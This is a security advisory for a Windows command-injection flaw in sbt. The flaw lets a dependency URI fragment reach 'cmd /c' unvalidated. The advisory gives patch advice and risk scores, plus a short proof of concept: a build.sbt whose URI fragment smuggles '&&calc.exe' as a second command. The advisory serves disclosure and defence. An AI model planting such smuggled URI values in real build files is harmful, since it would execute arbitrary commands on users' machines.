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GHSA-x4ff-q6h8-v7gw

MediumCVSS 6.7 / 10
Published Mar 24, 2026·Last modified Mar 27, 2026
Affected Components(0)

No affected components available

Description

Summary

On Windows, sbt uses Process("cmd", "/c", ...) to run VCS commands (git, hg, svn). The URI fragment (branch, tag, revision) is user-controlled via the build definition and passed to these commands without validation. Because cmd /c interprets &, |, and ; as command separators, a malicious fragment can execute arbitrary commands.

Patched version

Technically, sbt 1.12.7 is patched, but it has a bug that makes source dependency non-functional, so update to sbt 1.12.8 or later instead.

Details

PoC

# build.properties
# sbt.version=1.12.5  # Tested on those two versions of sbt
sbt.version=2.0.0-RC9
// build.sbt

ThisBuild / scalaVersion := "2.12.19"

lazy val root = project
  .in(file("."))
  .dependsOn(vulnerable)

lazy val vulnerable = RootProject(
  uri("https://github.com/sbt/io.git#develop%26%26calc.exe")
)

Impact

Windows users are impacted. An attacker can execute arbitrary Windows commands if they control the dependency URI.

Risk Scores
Base Score
6.7

The vulnerability requires local access to the device to be exploited. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights.

Threat Intelligence
4.0

Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.

EPSS
0.30%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

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